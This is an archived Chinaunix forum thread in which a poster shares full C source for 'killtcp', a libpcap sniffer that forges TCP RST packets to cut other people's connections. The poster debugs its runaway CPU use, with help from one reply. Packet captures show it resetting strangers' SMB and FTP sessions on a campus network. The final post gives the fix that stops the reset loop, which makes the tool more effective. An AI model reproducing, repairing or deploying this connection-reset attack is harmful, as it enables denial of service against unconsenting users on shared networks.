Chinaunix
标题:
为什么这个一运行就占100%CPU?
[打印本页]
作者:
rootclown
时间:
2005-05-04 22:52
标题:
为什么这个一运行就占100%CPU?
我用pcap 抓TCP包,然后试图切断已建立或正在建立的连接,但程序一运行
就会占用将近100%的CPU。我原来用PACKET socket 写过一个类似的,没有这种情况呀,请帮我看一下?
#include<unistd.h>;
#include<sys/types.h>;
#include<sys/socket.h>;
#include<linux/in.h>;
#include<linux/if.h>;
#include<asm/types.h>;
#include<linux/if_packet.h>;
#include<linux/if_ether.h>;
#include<linux/ip.h>;
#include<linux/tcp.h>;
#include<linux/sockios.h>;
#include<pcap.h>;
struct psuedohdr {
__u32 source_address;
__u32 dest_address;
unsigned char place_holder;
unsigned char protocol;
unsigned short length;
} psuedohdr;
void open_raw_sock(void);
void analyze(u_char *,const struct pcap_pkthdr *,const u_char *);
void analyze(u_char *,const struct pcap_pkthdr *,const u_char *);
void killtcp(struct ethhdr *,struct iphdr *,struct tcphdr *);
void build_eth(struct ethhdr **,struct ethhdr*);
void build_ip(struct iphdr **,struct iphdr *);
void build_tcp(struct tcphdr **,struct tcphdr *);
void __kill_tcp(char *);
int get_ifindex(int);
int in_cksum(u_short *,int);
unsigned short trans_check(unsigned char , char *, int , __u32 , __u32 );
void err_quit(char *);
void usage(void);
int eflag=0;
int xflag=0;
int sockk;
struct sockaddr_ll sll;
main(int argc,char **argv)
{
pcap_t *handle;
extern int opterr;
extern char *optarg;
char c;
char *dev;
struct bpf_program filter;
char *filterp="tcp";
char errbuf[PCAP_ERRBUF_SIZE];
__u32 net,mask;
opterr=0;
while((c=getopt(argc,argv,"ex:"))!=EOF)
{
switch(c)
{
case 'e':eflag=1;break;
case 'x':xflag=1;filterp=optarg;break;
default:
usage();
exit(0);
}
}
open_raw_sock();
if(!(dev=pcap_lookupdev(errbuf)))
err_quit("pcap_lookupdev");
if(pcap_lookupnet(dev,&net,&mask,errbuf)<0)
err_quit("pcap_lookupnet");
if(!(handle=pcap_open_live(dev,2048,1,-1,errbuf)))
err_quit("pcap_open_live");
if(1)
{
if(pcap_compile(handle,&filter,filterp,0,mask)<0)
err_quit("pcap_compile");
if(pcap_setfilter(handle,&filter)<0)
err_quit("pcap_setfilter");
}
pcap_loop(handle,-1,analyze,NULL);
}
void analyze(u_char *usr,const struct pcap_pkthdr *pkthdr,const u_char *packet)
{
struct ethhdr *eth;
struct iphdr *ip;
struct tcphdr *tcp;
eth=(struct ethhdr *)packet;
ip=(struct iphdr *)(eth+1);
tcp=(struct tcphdr *)((u_char *)ip+(ip->;ihl<<2));
killtcp(eth,ip,tcp);
}
void killtcp(struct ethhdr *eth,struct iphdr *ip,struct tcphdr *tcp)
{
char bufk[2048];
struct ethhdr *ethk;
struct iphdr *ipk;
struct tcphdr *tcpk;
memset(bufk,0,2048);
ethk=(struct ethhdr *)bufk;
ipk=(struct iphdr *)(ethk+1);
tcpk=(struct tcphdr *)(ipk+1);
build_eth(ðk,eth);
build_ip(&ipk,ip);
build_tcp(&tcpk,tcp);
__kill_tcp(bufk);
}
void build_eth(struct ethhdr **ethk,struct ethhdr *eth)
{
struct ethhdr *p=*ethk;
memcpy(p->;h_dest,eth->;h_source,6);
memcpy(p->;h_source,eth->;h_dest,6);
memcpy(&p->;h_proto,ð->;h_proto,2);
}
void build_ip(struct iphdr **ipk,struct iphdr *ip)
{
struct iphdr *p=*ipk;
p->;ihl=5;
p->;version=4;
p->;tos=0;////////////////////////
p->;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
p->;id=htons(1234);
p->;frag_off=0;
p->;ttl=64;
p->;protocol=IPPROTO_TCP;
memcpy((u_char *)&p->;saddr,(u_char *)&ip->;daddr,sizeof(__u32));
memcpy((u_char *)&p->;daddr,(u_char *)&ip->;saddr,sizeof(__u32));
p->;check=(u_short)(in_cksum((u_short *)p,sizeof(struct iphdr)));////////////////////////////
}
void build_tcp(struct tcphdr **tcpk,struct tcphdr *tcp)
{
struct tcphdr *p=*tcpk;
memcpy(&p->;source,&tcp->;dest,sizeof(__u16));
memcpy(&p->;dest,&tcp->;source,sizeof(__u16));
if(tcp->;syn==1)
{
__u32 ack_seq=htonl(ntohl(tcp->;seq)+1);
memcpy(&p->;ack_seq,&ack_seq,sizeof(__u32));
}
else
p->;seq=htonl(1111111);
p->;rst=1;
p->;doff=5;
p->;window=htons(1024);
p->;check=(trans_check(IPPROTO_TCP,(unsigned char * )p,sizeof(struct tcphdr ),tcp->;source,tcp->;dest));///////////////////////
}
void open_raw_sock(void)
{
u_char *mac="\x00\x03\x0d\x09\x91\x7f";
if((sockk=socket(PF_PACKET,SOCK_RAW,htons(ETH_P_IP)))<0)
err_quit("socket");
memset(&sll,0,sizeof(sll));
// sll.sll_protocol=htons(ETH_P_IP);
// sll.sll_ifindex=get_ifindex(sockk);
sll.sll_family=AF_PACKET;
memcpy(sll.sll_addr,mac,6);
sll.sll_halen=6;
sll.sll_ifindex=get_ifindex(sockk);
}
void __kill_tcp(char *frame)
{
int n;
int len;
len=sizeof(struct ethhdr)+sizeof(struct iphdr)+sizeof(struct tcphdr);
n=sendto(sockk,frame,len,0,(struct sockaddr *)&sll,sizeof(sll));
if(n!=len)
err_quit("sendto");
}
int get_ifindex(int s)
{
struct ifreq ifr;
memset(&ifr,0,sizeof(ifr));
strncpy(ifr.ifr_name,"eth0",sizeof(ifr.ifr_name)-1);
ifr.ifr_name[sizeof(ifr.ifr_name)-1]='\0';
if(ioctl(s,SIOCGIFINDEX,&ifr)<0)
err_quit("ioctl");
return ifr.ifr_ifindex;
}
#undef ADDCARRY
#define ADDCARRY(sum) { \
if (sum & 0xffff0000) { \
sum &= 0xffff; \
sum++; \
} \
}
int in_cksum(u_short *addr, int len)
{
union word {
char c[2];
u_short s;
} u;
int sum = 0;
while (len >; 0) {
/*
* add by words.
*/
while ((len -= 2) >;= 0) {
if ((unsigned long)addr & 0x1) {
/* word is not aligned */
u.c[0] = *(char *)addr;
u.c[1] = *((char *)addr+1);
sum += u.s;
addr++;
} else
sum += *addr++;
ADDCARRY(sum);
}
if (len == -1)
/*
* Odd number of bytes.
*/
u.c[0] = *(u_char *)addr;
}
if (len == -1) {
/* The last mbuf has odd # of bytes. Follow the
standard (the odd byte is shifted left by 8 bits) */
u.c[1] = 0;
sum += u.s;
ADDCARRY(sum);
}
return (~sum & 0xffff);
}
unsigned short trans_check(unsigned char proto,
char *packet,
int length,
__u32 source_address,
__u32 dest_address)
{
char *psuedo_packet;
unsigned short answer;
psuedohdr.protocol = proto;
psuedohdr.length = htons(length);
psuedohdr.place_holder = 0;
psuedohdr.source_address = source_address;
psuedohdr.dest_address = dest_address;
if((psuedo_packet =(char *)malloc(sizeof(psuedohdr) + length)) == NULL) {
perror("malloc");
exit(1);
}
memcpy(psuedo_packet,&psuedohdr,sizeof(psuedohdr));
memcpy((psuedo_packet + sizeof(psuedohdr)),
packet,length);
answer = (unsigned short)in_cksum((unsigned short *)psuedo_packet,
(length + sizeof(psuedohdr)));
free(psuedo_packet);
return answer;
}
void err_quit(char *p)
{
perror(p);
exit(1);
}
void usage(void)
{
}
复制代码
作者:
rootclown
时间:
2005-05-06 11:28
标题:
为什么这个一运行就占100%CPU?
请帮忙看一下呀,自己顶一下
作者:
Disteliang
时间:
2005-05-06 12:13
标题:
为什么这个一运行就占100%CPU?
呵呵,谁有空去看这一大串东西
作者:
rootclown
时间:
2005-05-06 12:17
标题:
为什么这个一运行就占100%CPU?
其实并不长,因为后边的checksum计算应该不是问题,乘下的就不多了
是不是pcap有什么我用的不对?
作者:
win_hate
时间:
2005-05-06 13:42
标题:
为什么这个一运行就占100%CPU?
我粗略过了一遍,没看出什么问题。
cpu消耗是不是应该跟流量很有关系,在我这里cup消耗还不到 10%(你贴的程序,把killtcp 去掉后).
作者:
rootclown
时间:
2005-05-06 13:54
标题:
为什么这个一运行就占100%CPU?
我是在教育网(北京化工大学)里,那个程序有时运行要稍微等一下(一分钟)才能体现出占用100%,刚开始是正常的
作者:
rootclown
时间:
2005-05-06 13:56
标题:
为什么这个一运行就占100%CPU?
而且原来用PACKET socket写的就没有这种现象
作者:
win_hate
时间:
2005-05-06 13:58
标题:
为什么这个一运行就占100%CPU?
能观察到切断效果吗?
作者:
win_hate
时间:
2005-05-06 14:01
标题:
为什么这个一运行就占100%CPU?
[quote]
原帖由 "rootclown"]而且原来用PACKET socket写的就没有这种现象[/quote 发表:
可以追踪一下libpcap使用了哪几个函数,然后把这几个函数的实现与你用 PACKET socket 的实现对比一下,看问题出在什么地方。
作者:
rootclown
时间:
2005-05-06 14:03
标题:
为什么这个一运行就占100%CPU?
它发出了好多RST包(我觉得应该是不正常的) ,但是好像没有切断,当时我们宿舍只有两个人上网,用交换机。
原来用PACKET socket写的还能切断呢
作者:
win_hate
时间:
2005-05-06 14:10
标题:
为什么这个一运行就占100%CPU?
你现在用的是那个参数,-e 切断所有 tcp,-x 指定一个模式串是吗?
无论那中都造成100%吗?
作者:
rootclown
时间:
2005-05-06 14:14
标题:
为什么这个一运行就占100%CPU?
不好意思,没说清-e 是想用来显示MAC地址的,没理他。-x是用来设置新的filter的,原来是tcp
作者:
rootclown
时间:
2005-05-06 14:25
标题:
为什么这个一运行就占100%CPU?
我现在用的是win,马上到linux下把输出信息抓下来贴上
作者:
rootclown
时间:
2005-05-06 14:37
标题:
为什么这个一运行就占100%CPU?
这是 tcpdump -vv -x tcp 得到的结果
14:28:19.781716 202.4.147.40.microsoft-ds >; 202.4.151.145.4945: R 1111111:1111111(0) win 1024 (ttl 64, id 1234)
4500 0028 04d2 0000 4006 b73b ca04 9328
ca04 9791 01bd 1351 0010 f447 0000 0000
5004 0400 8d6d 0000
14:28:19.783568 202.4.147.158.microsoft-ds >; 202.4.159.121.3545: R 1111111:1111111(0) win 1024 (ttl 64, id 1234)
4500 0028 04d2 0000 4006 aedd ca04 939e
ca04 9f79 01bd 0dd9 0010 f447 0000 0000
5004 0400 985d 0000
14:28:19.783583 202.4.143.96.2127 >; 202.4.147.158.netbios-ssn: R 1111111:1111111(0) win 1024 (ttl 64, id 1234)
4500 0028 04d2 0000 4006 bef6 ca04 8f60
ca04 939e 084f 008b 0010 f447 0000 0000
5004 0400 a5d5 0000
14:28:19.783602 202.4.151.145.4945 >; 202.4.147.40.microsoft-ds: R 1111111:1111111(0) win 1024 (ttl 64, id 1234)
4500 0028 04d2 0000 4006 b73b ca04 9791
ca04 9328 1351 01bd 0010 f447 0000 0000
5004 0400 8d6d 0000
14:28:19.783618 202.4.159.121.3545 >; 202.4.147.158.microsoft-ds: R 1111111:1111111(0) win 1024 (ttl 64, id 1234)
4500 0028 04d2 0000 4006 aedd ca04 9f79
ca04 939e 0dd9 01bd 0010 f447 0000 0000
5004 0400 985d 0000
14:28:19.783634 202.4.147.158.netbios-ssn >; 202.4.143.96.2127: R 1111111:1111111(0) win 1024 (ttl 64, id 1234)
4500 0028 04d2 0000 4006 bef6 ca04 939e
ca04 8f60 008b 084f 0010 f447 0000 0000
5004 0400 a5d5 0000
14:28:19.783655 202.4.147.40.microsoft-ds >; 202.4.151.145.4945: R 1111111:1111111(0) win 1024 (ttl 64, id 1234)
4500 0028 04d2 0000 4006 b73b ca04 9328
ca04 9791 01bd 1351 0010 f447 0000 0000
5004 0400 8d6d 0000
复制代码
这是用PACKET socket写的那个用tcpdump得到的结果
14:33:00.941428 202.4.156.126.3051 >; 202.4.147.230.microsoft-ds: S 927675474:927675474(0) win 64240 <mss 1460,nop,nop,sackOK>; (DF)
4500 0030 fc69 4000 7d06 3cf0 ca04 9c7e
ca04 93e6 0beb 01bd 374b 3452 0000 0000
7002 faf0 4a7b 0000 0204 05b4 0101 0402
14:33:00.941572 202.4.147.230.microsoft-ds >; 202.4.156.126.3051: R 0:0(0) win 1024
4500 0028 fc69 0000 4006 b9f8 ca04 93e6
ca04 9c7e 01bd 0beb 0000 0000 0000 0001
5004 0400 d9c9 0000
14:33:00.942936 202.4.147.21.2946 >; 202.4.136.159.ftp-data: . ack 3569228973 win 63656 <nop,nop,timestamp 230549 163131818>; (DF)
4500 0034 54e6 4000 8006 f61f ca04 9315
ca04 889f 0b82 0014 0aa0 5f67 d4be 1cad
8010 f8a8 a751 0000 0101 080a 0003 8495
09b9 31aa
14:33:00.942992 202.4.136.159.ftp-data >; 202.4.147.21.2946: R 3569228973:3569228973(0) win 1024
4500 0028 54e6 0000 4006 762c ca04 889f
ca04 9315 0014 0b82 d4be 1cad 0000 0001
5004 0400 ff1f 0000
14:33:00.943078 202.4.147.21.2946 >; 202.4.136.159.ftp-data: . ack 1449 win 64240 <nop,nop,timestamp 230549 163131818>; (DF)
4500 0034 54e7 4000 8006 f61e ca04 9315
ca04 889f 0b82 0014 0aa0 5f67 d4be 2255
8010 faf0 9f61 0000 0101 080a 0003 8495
09b9 31aa
14:33:00.943109 202.4.136.159.ftp-data >; 202.4.147.21.2946: R 3569230421:3569230421(0) win 1024
4500 0028 54e7 0000 4006 762b ca04 889f
ca04 9315 0014 0b82 d4be 2255 0000 0001
5004 0400 f977 0000
14:33:00.943262 202.4.147.114.18764 >; 219.225.113.106.2439: . 2804265340:2804265876(536) ack 1692654871 win 8760
4500 0240 fec7 0000 4006 cf2d ca04 9372
dbe1 716a 494c 0987 a725 b17c 64e3 dd17
5010 2238 00f0 0000 8001 0000 3031 7762
1000 0000 9e29
14:33:00.943267 202.4.147.112.4362 >; 202.4.130.193.65410: . ack 808168193 win 7300 (DF)
4500 0028 3eee 4000 2006 71a7 ca04 9370
ca04 82c1 110a ff82 3084 a9d7 302b ab01
5010 1c84 2300 0000 0000 0000 0000
14:33:00.943299 202.4.147.114.18764 >; 219.225.113.106.2439: P 536:880(344) ack 1 win 8760
4500 0180 fec8 0000 4006 cfec ca04 9372
dbe1 716a 494c 0987 a725 b394 64e3 dd17
5018 2238 7c0a 0000 1000 0000 265c 1527
8001 0000 3031
14:33:00.943323 219.225.113.106.2439 >; 202.4.147.114.18764: R 1692654871:1692654871(0) win 1024
4500 0028 fec7 0000 4006 d145 dbe1 716a
ca04 9372 0987 494c 64e3 dd17 0000 0001
5004 0400 6c4e 0000
14:33:00.943334 202.4.130.193.65410 >; 202.4.147.112.4362: R 808168193:808168193(0) win 1024
4500 0028 3eee 0000 4006 91a7 ca04 82c1
ca04 9370 ff82 110a 302b ab01 0000 0001
5004 0400 15eb 0000
复制代码
作者:
rootclown
时间:
2005-05-06 14:49
标题:
为什么这个一运行就占100%CPU?
top's result
2632 root 25 0 1672 444 1512 R 98.1 0.2 0:04.90 killtcp
2225 root 15 0 147m 15m 135m S 2.0 6.6 0:42.86 X
2633 root 15 0 2168 944 1964 R 2.0 0.4 0:00.01 top
1 root 16 0 1580 516 1424 S 0.0 0.2 0:03.58 init
2 root 34 19 0 0 0 S 0.0 0.0 0:00.00 ksoftirqd/0
3 root 5 -10 0 0 0 S 0.0 0.0 0:00.03 events/0
4 root 5 -10 0 0 0 S 0.0 0.0 0:00.06 kblockd/0
5 root 25 0 0 0 0 S 0.0 0.0 0:00.00 pdflush
6 root 15 0 0 0 0 S 0.0 0.0 0:00.00 pdflush
7 root 15 0 0 0 0 S 0.0 0.0 0:00.00 kswapd0
8 root 10 -10 0 0 0 S 0.0 0.0 0:00.00 aio/0
10 root 16 0 0 0 0 S 0.0 0.0 0:00.00 kseriod
14 root 15 0 0 0 0 S 0.0 0.0 0:00.02 kjournald
128 root 18 0 2036 1188 1588 S 0.0 0.5 0:00.38 devfsd
218 root 15 0 0 0 0 S 0.0 0.0 0:00.11 khubd
1031 root 16 0 1652 544 1480 S 0.0 0.2 0:00.00 ifplugd
1047 rpc 16 0 1712 580 1540 S 0.0 0.2 0:00.00 portmap
1061 root 16 0 1640 632 1468 S 0.0 0.3 0:00.04 syslogd
1069 root 16 0 2592 1536 1416 S 0.0 0.6 0:00.09 klogd
1108 root 18 0 1712 712 1540 S 0.0 0.3 0:00.00 rpc.statd
1542 xfs 17 0 7940 6348 2512 S 0.0 2.6 0:00.22 xfs
1580 daemon 18 0 1616 536 1456 S 0.0 0.2 0:00.00 atd
1598 root 16 0 2168 880 1828 S 0.0 0.4 0:00.00 xinetd
1735 root 16 0 2884 1092 2696 S 0.0 0.4 0:00.01 master
1756 root 16 0 1624 624 1460 S 0.0 0.3 0:00.00 crond
1828 root 17 0 2496 1108 2072 S 0.0 0.4 0:00.01 login
1829 root 16 0 2496 1108 2072 S 0.0 0.4 0:00.01 login
复制代码
作者:
rootclown
时间:
2005-05-06 18:47
标题:
为什么这个一运行就占100%CPU?
我改好了
应该在进入killtcp()之前加一个
if(tcp->;rst==1)
return;
复制代码
因为不这样的话,自己发出去的RST包又被抓回来,再次发RST,这样的话就永无止境了
下午用tcpdump改的,开始没想到时,还是占用100%CPU,我想tcpdump肯定没错呀,再仔细看了一下抓包的结果就发现重复的向这样的
a -->;b rst
b-->;a rst
a-->;b rst
b-->;a rst
我这才想到在发送RST 之前没有进行原来的包是否就是RST包(可能是正常的,也可能只我发出去的)
谢谢win_hate
作者:
win_hate
时间:
2005-05-06 19:27
标题:
为什么这个一运行就占100%CPU?
恭喜
不用谢,我又没帮上什么忙
欢迎光临 Chinaunix (http://bbs.chinaunix.net/)
Powered by Discuz! X3.2